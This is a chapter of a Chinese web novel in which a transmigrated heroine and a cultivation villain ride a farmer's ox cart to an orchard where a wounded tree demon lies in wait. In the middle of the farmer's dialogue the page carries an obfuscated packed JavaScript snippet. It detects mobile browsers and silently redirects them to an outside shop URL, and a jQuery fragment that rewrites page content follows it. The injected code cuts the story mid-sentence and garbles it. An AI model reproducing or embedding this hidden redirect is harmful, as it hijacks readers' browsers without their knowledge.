4. 第四章 春枝深长
作品:《我和修真反派绑一起穿进古言书》 “情人呐,哎嗨哎嗨哟~”
不成调的小曲儿,由远及近,透着股不知名的欢乐,刚刚热火朝天打斗造就的压抑变得有点邪门,像在躲避追杀的时候藏在茅厕,突然想到了个笑话,让人憋得面目狰狞。
桑润砚手足无措地抱着还在睡梦中抽抽的红红,大脑还没反应过来红红为什么出现在这里。
原本显得温婉典雅的妃色襦裙在萧衍追赶途中被拽得有些褶皱变形,堆叠在一起像安逸缩成团,桑润砚白嫩姣好的面容就沾染上几点土色,更不用说乱糟糟的头发了。
她颤着睫毛,眼神清澈愚蠢,下意识看向正在一旁以戏谑目光打量她的萧衍。
脏兮兮的笨兔子。
萧衍歪着脑袋,垂眸审视,眼中的恶意丝毫不加掩饰。他慢条斯理地拂去自己身上原本不存在的灰,像矜贵无声的嘲笑,身上的伤为他艳丽平添一抹勾人心魄的瘾。
两人的对视中,桑润砚在萧衍散漫愉悦的眸中看到了呆愣的自己,她怯生生匆忙移开视线,指尖捏得泛着层粉,像被萧衍驱赶到角落后无路可退的才迫不得已吐露的娇怜,拙劣又笨拙。
啧。
萧衍却不打算放过她,刚刚的打斗废了许多力气,他重伤未愈,顺势往桑润砚身上一靠,又闻到那种清甜的气息,带给他正在炽烤撕裂的神魂极大的舒缓。
桑润砚僵了僵,被强势凛冽气息包围的她只低低吐出一个字,“球……”
她望着手里昏迷的红红,不适应的缩了缩脖子,被萧衍扣住腰肢。
“我知道。”
陷在软玉温香里,萧衍的鼻梁刻意蹭到她耳后的莹白,如愿感受到被温热呼吸灼烫的抖,馥郁芬芳混着丝丝缕缕柔和抚慰的治愈之力,萧衍舒服得眯起了眼。
那个紫韵应该还有后手,凭她的修为居然能在这个地方摆脱自己的追杀,看来是有宝贝。
“跟那个人打听点情况。”
萧衍的手无意识点着桑润砚衣袖下的小臂,隐去探究的兴奋,理所应当地朝她吩咐。
“我吗?”桑润砚抬眸小心翼翼试探性询问。
萧衍自己不去,可能是有什么顾虑?
面对桑润砚的询问,萧衍没有回答,刚刚消耗太大,他静默闭上眼睛,运气调息。
牛车越走越近,给了桑润砚在压抑中一点能喘息的空间。
王大柱刚从镇上卖完果子,现在牛车空空,他戴着顶草帽遮阳,哼着断断续续的曲儿,大喇喇往回赶。
瞥见前头还肿着的牛屁股,王大柱有点心疼,“介造孽的怨债,家走给你抹点药。”
说完,他叹了口气,一抬头,被帽檐遮盖的视野瞬间清晰,前面的土路被砸得坑坑洼洼,加上血忽淋拉的二人,还有一把悬空冒光的剑。
“您能不能……”
桑润砚正扬起笑,还没喊完,王大柱浑身的血开始往上涌,快要冲破狂跳不止的心脏。
娘嘞,又遇到妖怪了?
他的手癫痫般下意识一鞭子抽在没精打采的牛身上,牛受到猛烈痛击,撕心裂肺尥后腿蹶子,一脚踢在后面的车斗上。
人仰牛翻。
桑润砚干着急,一只手搀着萧衍,一只手抱着红红,腾不出手去扶王大柱。
萧衍倒是被逗得从喉咙里溢出一声短促的轻笑,他悄悄睁开一只眼,懒懒搭着桑润砚的肩膀,带着点狎昵调皮,像个凶狠阴郁的魔头换上温和的假面。
恶劣肆意。
牛车轱辘吱呀呀转着,消散了萧衍不合时宜的笑,王大柱脑袋摔得懵懵的,这才发现没有危险。
唉,幸亏不是妖怪。
王大柱放松下来,颤颤巍巍起来,盯着他们看了好半晌。
一个漂亮危险得不像活人,一个老实巴交但灰头土脸。就是那老大个的小伙子老往人家姑娘身上凑干啥。
哦!懂了,夫妻。
他恍然大悟,语气带了几分亲和。“你们小两口介是揍嘛?是驱魔人?”
大叔一开口差点把桑润砚送走。哪来的亲切天津口音,让刚刚经历九死一生的桑润砚莫名想笑。
她身上挂着看起来奄奄一息的萧衍,怎么看怎么奇怪。
“小两口?”萧衍眉眼弯弯,散漫的语调往上扬,下巴抵在桑润砚肩膀上,随着他歪头重碾,一阵麻酥钻进血肉,让桑润砚打了个哆嗦。
“不是不是,我们不是夫妻……”
她硬着头皮朝着王大柱解释,询问是否可以搭个顺风车去前面的果园。
斑驳沟壑的地面上,藤蔓垂死挣扎流出深绿色的浓汁还没彻底干透,渐渐渗进土里,透着腥膻腐烂的味道。
王大柱观察着周围环境思索,这里似乎是蟒蛇那样大的体型才会遗留的打斗痕迹,莫不是……
“你们介是跟那个树妖打了场?真是斩妖除魔为己任!”
树妖?紫韵吗?
桑润砚不自在地扯了扯嘴角,虽然伯伯没说错刚刚的事实,但……
萧衍这幅样子跟品德高尚挂不上一点钩。
“介都不叫事儿。”
王大柱欣然同意桑润砚的请求,要知道树妖为非作歹好些日子了,前面的那片地连同后山,曾经是柔紫盛产的沃土,可自打树妖出现,乡亲们就不敢在那边种果子了。
今儿可算出了两个替天行道的人,自己捎一段而已,举手之劳。
“谢谢您……”桑润砚刚要跟他道谢,王大柱一边套车,一边话痨的唠起嗑来。
“那昨天夜里也不知道招了哪股子邪风了儿嘿,光打雷他不下雨,那雷就从天上框框往下砸啊,哎呦~真是闹了妖了。”
“伯伯,我……”
“今天早上我去送果子还遇见个女鬼呢,那雷叮呤咣啷地劈,霍,你是没见那动静,幸亏我跑得快。”
女鬼,雷劈,还是早上……
桑润砚窘迫挠挠头,她终于知道王伯伯当时为什么跑得那么快了。
王大柱安抚地摸了摸牛头,眼中划过一丝不忍,“苦了俺家的牛,昨天就吓得不吃草,现在……”
桑润砚顺着王大柱的视线看过去,她在牛眼中看到一丝无语和埋怨,牛哞哞叫了两声,尾巴甩在王大柱胳膊上,王大柱呲着大牙笑笑,招呼桑润砚把萧衍扶上车。
“哪个小bk在这嗷嗷发毒誓啊,怎么不把他劈死啊,我要是知道谁干的,我高低糊他一嘴牛粪。让他知道十里八村王大柱的威名。”
伯伯这嘴也太碎了,他没留个空给桑润砚插话,骂了一路。
源晨绕了周围一圈,飞车去最后方守着。
“瞧瞧这大宝剑还会飞呢,介是花了多少银子淘的啊?一看驱魔就杠杠的。”王大柱得意洋洋,“跟俺家牛一样,护主。”
桑润砚有点惊讶,本来她还要编一套说词,没想到伯伯居然对源晨剑的见怪不怪。
《春枝深长》明明是一本宫斗小说,讲述的是权贵因为看中了女主张春枝家乡盛产暮山紫色的果子,而长期压迫这里的百姓为他们提供这种独一无二的品种,这种果子因成熟的颜色典雅尊贵,果肉清甜多汁,深受贵人喜爱,得名柔紫。
女主张春枝的父母就是在运送途中,不幸触怒权贵,女主下定决心为父母报仇,阴差阳错入了宫门,历经艰辛成为皇后,最后沉冤昭雪的故事。
所以非科学因素应该都不会存在。
从伯伯口中得知,这个世界原本就有各种鬼怪,但是不多见,实力不强,有专门的驱魔人处理。
说着王伯伯热情的递给桑润砚一包东西,拆开发现是一堆黄色粉末,桑润砚一脸疑惑。
“你们外乡人可能不太清楚,介叫驱邪粉,俺们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386014|200257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这有时候遇到各种古怪的事就会用这种调配的粉末辟邪,昨天打雷,大部分人就抹一些在头上——防雷劈。”
伯伯随意解释一下。
牛车颠簸,桑润砚的视野跟着晃动,眼前的景色逐渐模糊,鼻子酸酸的。
挺感谢伯伯的好意,现在也搞不清楚现在是什么情况。
她刚想张口,又回头见萧衍在安静打坐,这才问了张春枝的事。
“你说春枝丫头啊,”王伯伯陷入回忆,被光晒得黝黑的脸上是触动的疼惜,“嘶,介孩子也是个难的……”
说起张春枝,王伯伯一阵感慨,说是自从她父母去世后,就去投奔自己姑母家了,好几个月了,一点儿信儿也没有。
按照剧情,张春枝这时候应该已经进宫了。
桑润砚回头看了看萧衍,发现他依旧虚弱的闭着眼,源晨剑沉默的立在他旁边。
这么一看,自己煎熬的日子简直一眼望不到头。
考虑到萧大爷的要求,桑润砚四处望了望,觉得走得足够远了,这地儿简直荒无人烟。
“谢谢王伯伯,您把我们放这儿就好。”
等桑润砚扶着萧衍下了马车,源晨剑也跟着飞了下来。
“好勒,不过伯伯得给你提个醒,介一片儿的果子,俺们都不敢摘,来都不敢来,你们也小心点,要是需要农产品啥的欢迎来找伯伯买啊。”
王大柱嘱咐完就驾车离开了。
映入眼帘的就是柔紫园紧闭的大门,萧衍这时才舍得从桑润砚身边离开,明晃晃的不屑摆在脸上。他步履从容,一剑劈开大门,冲击的气波拂起他的发丝,打在桑润砚的脸上。
发丝很硬,戳在脸颊上很痒,就跟萧衍这个人一样,总会拿她给自己找点乐子。
桑润砚侧了侧脸,被萧衍余光瞥到,他只是在她看不到的角度不经意笑笑,也不知道在憋什么坏。
他们走进仔细打量,这里的果树不似寻常那般排列整齐,树木郁郁葱葱,繁茂,大多能长到水桶粗。
早就过了开花季节,果园里不见一片花瓣,树上只结着蓝紫色拳头大的果子,青涩得欲语还羞,成熟得钗斜鬓乱,清风携着一阵草叶甜香,不怀好意试探。
萧衍似乎是还没装够,虚虚掩唇轻咳几声,对于环境心下了然。他好不容易敛起讥诮,扫到抱着红红,亦步亦趋跟着他的桑润砚,恶趣味地又扮做一个好哥哥嘘寒问暖。
“妹妹累不累?咳咳…要不我替妹妹拿会儿球吧?”
如沐春风的嗓音能从萧衍嘴里说出来立即让人起了鸡皮疙瘩。
红红虽然有坏心思但应该罪不至死……
对着萧衍那双多情温柔的桃花眼桑润砚艰难摇头,手里的力道不自觉加重,直到红红昏迷中被迫哼哼唧唧,她才惊觉松手,赶紧检查红红的情况。
还好,红红没什么大碍,跟之前落到她怀里的时候一样,就是有点萎靡不振,眼皮还掀不开。
萧衍故作失望,“妹妹跟它的关系真是好。”他挥动源晨,学着那些低阶仙门弟子那样运气打探周遭,不过埋了个心思,把多余的灵气包裹在桑润砚身上。
紫韵身受重伤栖在一颗柔紫树中阴狠怨恨地盯着进来的两人人,那个男的实力很强,女的更不是什么善茬,竟然出这么个招抓她!自己就是被他们那副柔弱和木讷的模样给骗了。
她呼吸都不敢放得太重,只能捂着还没长好的脖颈暗自疗伤。
不过幸好。
紫韵闭眼,感受到一股热源渐渐萦绕全身,紧绷的身体慢慢松懈。
丹田里托着雕刻着勾连雷纹的玉葫芦为她源源不断提供法力,她的嘴角勾起一抹妩媚狠毒的笑。
他们身上好浓郁的灵气波动。
卑鄙无耻的小人,让她栽了那么大个跟头,今天定要他们死无葬身之地!

